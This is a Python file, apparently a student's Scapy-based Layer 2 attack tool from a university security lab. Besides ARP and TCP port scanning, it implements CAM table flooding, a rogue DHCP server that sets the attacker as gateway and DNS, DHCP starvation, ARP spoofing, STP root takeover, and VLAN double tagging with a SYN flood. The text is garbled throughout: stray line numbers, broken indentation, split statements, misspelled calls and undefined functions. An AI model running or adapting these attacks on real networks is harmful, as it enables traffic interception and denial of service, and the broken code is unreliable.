#Marco Afonso 84610 METI
import scapy.all as scapy
import random
import sys

#Scanning features

def arp_scan(network):
    print("Looking for hosts on the network...
")
    arp_packet = scapy.ARP(pdst=network)
    broadcast_packet = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_broadcast_packet = broadcast_packet/arp_packet
    answered_list = scapy.srp(arp_broadcast_packet, timeout = 1, verbose = False)[0]
    hosts_list = []
    for e in answered_list:
        client_dict = {'ip': e[1].psrc, 'mac': e[1].hwsrc}
        hosts_list.append(client_dict)
    return hosts_list
20
def dhcp_scan():
21    conf.checkIPaddr = False
22    src_mac = scapy.get_if_hwaddr(conf.iface)
23    options = [('message-type', 'discover'), 'end']
24    dhcp_packet = scapy.Ether(dst=conf.iface) / scapy.IP(src='0.0.0.0', dst='255.255.255.255') / scapy.UDP(sport=68, dport=67) / scapy.BOOTP(hwdaddr=src_mac) / scapy.DHCP(options=options)
25    answered_list = scapy.srp(dhcp_packet, timeout=5, multi=True, verbose=False)[0]
26    dhcp_server = 0
27    for e in answered_list:
28        dhcp_server = {'ip': e[1][scapy.IP].src, 'mac': e[1][scapy.Ether].src}
29    return dhcp_server
30
def tcp_scan(host_ip):
31    print("Looking for TCP open ports...\n")
32    src_port = scapy.RandShort()
33    ports_to_scan = [22, 23, 80, 443]
34    for dst_port in ports_to_scan:
35        tcp_packet = scapy.IP(dst=host_ip) / scapy.TCP(sport=src_port, dport=dst_port, flags='S')
36        answer = scapy.sr1(tcp_packet, timeout=5, verbose=False)
37        if str(type(answer)) == "<type ' NoneType'>":  
38            print(str(dst_port) + " : Port closed")
39        elif answer.haslayer(scapy.TCP):
40            if answer.getlayer(scapy.TCP).flags == 0x12:
41                tcp_resp = scapy.IP(dst=host_ip) / scapy.TCP(sport=src_port, dport=dst_port, flags='AR')
42                sendrst = scapy.sr(tcp_resp, timeout=5, verbose=False)
43                print(str(dst_port) + " : Port open")
44            elif answer.getlayer(scapy.TCP).flags == 0x14:
45                print(str(dst_port) + " : Port closed")
46    print("\n")
47    print("DHCP Server")
48    print(" IP	MAC\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - -")
49    print(dhcp_server['ip'] + "	" + dhcp_server['mac'])
50
51    # Attacking features
52    def cam_overflow(nr_packets):
54        scapy.sendp(arp_packet, iface='eth0', loop=True, inter=1./1000)
55    def handle_dhcp_responses(packet):
56        DHCPDISCOVER_TYPE = 1
57        DHCPOFFER_TYPE = 2
58        DHCPREQUEST_TYPE = 3
59        DHCPACK_TYPE = 5
60        attacker_mac_address = scapy.get_if_hwaddr(conf.iface)
61        victim_mac_address = "00:50:79:66:68:00"
62        subnet = "255.255.255.0"
63        offered_ip = "192.168.1.101"
64        attacker_ip = "192.168.1.100"
65        if scapy.DHCP in packet and packet[scapy.DHCP].options[0][1] == DHCPDISCOVER_TYPE:  # Receives a DHCP Discover packet
66            transaction_id = packet[scapy.DHCP].options[0][0].xid
67            dhcp_offered_packet = scapy.Ether(src=attacker_mac_address, dst=victim_mac_address) / scapy.IP(src=attacker_ip, dst=offered_ip) / scapy.UDP(sport=67, dport=68) / scapy.BOOTP(op=2, yiaddr=offered_ip, xid=transaction_id, chaddr=victim_mac_address)
68            scapy.sendp(dhcp_offered_packet, verbose=False, iface="eth0")  # Sends a DHCP Offer packet
69            if scapy.DHCP in packet and packet[scapy.DHCP].options[0][1] == DHCPREQUEST_TYPE:  # Receives a DHCP Request packet
70                transaction_id = packet[scapy.DHCP].options[0][0].xid
71                host_name = 0
for j in packet[scapy.DHCP].options:
    if j == 'hostname':
        host_name = packet[scapy.DHCP].options[j][1].decode()

dhcp_ack.packet = scapy.Ether(src=attacker_mac_address, dst=victim_mac_address)/
/scapy.IP(src=attacker_ip, dst=offered_ip)/
/scapy.UDP(sport=67, dport=68)/
/scapy.BOOTP(op=2, yiaddr=offered_ip, xid=transaction_id, chaddr=victim_mac_address)/
/scapy.DHCP(options=[('message-type', 'ack'), ('server-id', attacker_ip), ('name-server', attacker_ip), ('hostname', host_name),
    ('router', attacker_ip), ('subnet-mask', subnet), ('end')])
scapy.sendp(dhcp_ack.packet, verbose=False, iface="eth0") # Sends a DHCP ACK packet

def dhcp_spoofing():
    print("Executing DHCP Spoofing . . .")
    scapy.sniff(filter="udp and (port 67 or 68)", prn=handle_dhcp_responses)

def dhcp_starvation():
    print("Executing DHCP starvation . . .")
    conf.checkIPaddr = False

    spoofed_mac_address = scapy.RandomMAC()
    i = 0
    while i < 254:
        dhcp_packet = scapy.Ether(src=spoofed_mac_address, dst="ff:ff:ff:ff:ff:ff")/
/scapy.IP(src="0.0.0.0", dst="255.255.255.255")/
/scapy.UDP(sport=68, dport=67)/
/scapy.BOOTP(chaddr=spoofed_mac_address)/
/scapy.DHCP(options=[('message-type', "discover"), 'end'])
scapy.sendp(dhcp_packet, verbose=False)

    time.sleep(2)
i += 1

def arp_spoofing(target_ip, source_ip):
    print("Executing ARP spoofing . . .")
    arp_gateway = scapy.ARP(op=2, pdst=source_ip, psrc=target_ip, hwdst=scapy.get_if_hwaddr(conf.iface))
scapy.send(arp_gateway, loop=True)

    arp_target = scapy.ARP(op=2, psrc=source_ip, pdst=target_ip, hwdst=scapy.get_if_hwaddr(conf.iface))
scapy.send(arp_target, loop=True)

def handle_stp_messages(packet):
    if scapy.STP in packet:
        src_mac = packet[scapy.STP].rootmac
        aux_mac = int(src_mac.translate(None, "-")).to_bytes(6, byteorder='big')
        response_mac = ":".join(aux_mac.hex[i:i+2] for i in range(0, len(aux_mac.hex), 2))
        stp_packet = scapy.Dot3(data="01:80:C2:00:00:00")/scapy.ETHER()/scapy.STP(rootmac=response_mac, bridgemac=src_mac)
scape.sendp(stp_packet, iface="eth0")

def stp_manipulation():
    print("Executing STP manipulation . . .")
scapy.sniff(filter="stp", prn=handle_stp_messages)

def sequential_attack(native_vlan, target_vlan, target_ip):
    print("Executing VLAN double tagging followed by TCP SYN flood . . .")
    src_mac = scapy.get_if_hwaddr(conf.iface)
    source_port = scapy.getRandShort()
    destination_port = scapy.getRandShort()
    double_tagging_packet = scapy.Ether(data="ff:ff:ff:ff:ff:ff", src=src_mac)/
/scapy.Dot1Q(vlan=int(native_vlan))/
/scapy.Dot1Q(vlan=int(target_vlan))/
/scapy.TCP(sport=source_port, dport=destination_port, seq=12345, ack=1000, window=1000, flags="S")
scape.send(double_tagging_packet, loop=True, verbose=True)

def usage(progName):
    print('Virtual environment for cybersecurity tests - Instituto Superior Tecnico - 2019-2020\n')
    print('Layer2Tool: Scapy\n')
    print("How to run this tool?:\n")
    print("An network scan <subnet>, tcp scan <host:ip>, cam_overflow <nr_packets>\n")
    dhcp_spoofing <victim_mac_address> <offered_ip>, dhcp_starvation, arp_spoofing <target_ip> <source_ip> \n\n153
154

if __name__ == '__main__':
    if len(sys.argv) < 2:
        usage(sys.argv[0])
    elif sys.argv[1] == 'network_scan':
        hosts_list = arp_scan(sys.argv[2])
        server = dhcp_scan()
        print(network_scan(hosts_list, server))
    elif sys.argv[1] == 'tcp_scan':
        tcp_scan(sys.argv[2])
    elif sys.argv[1] == 'cam_overflow':
        cam_overflow(sys.argv[2])
    elif sys.argv[1] == 'dhcp_pooling':
        dhcp_pooling()
    elif sys.argv[1] == 'dhcp_starvation':
        dhcp_starvation()
    elif sys.argv[1] == 'arp_spoofing':
        arp_spoofing(sys.argv[2], sys.argv[3])
    elif sys.argv[1] == 'stp_manipulation':
        stp_manipulation()
    elif sys.argv[1] == 'mac_spoofing':
        mac_spoofing(sys.argv[2], sys.argv[3], sys.argv[4])
    elif sys.argv[1] == 'sequential_attack':
        sequential_attack(sys.argv[2], sys.argv[3], sys.argv[4])
    print('')
    sys.exit()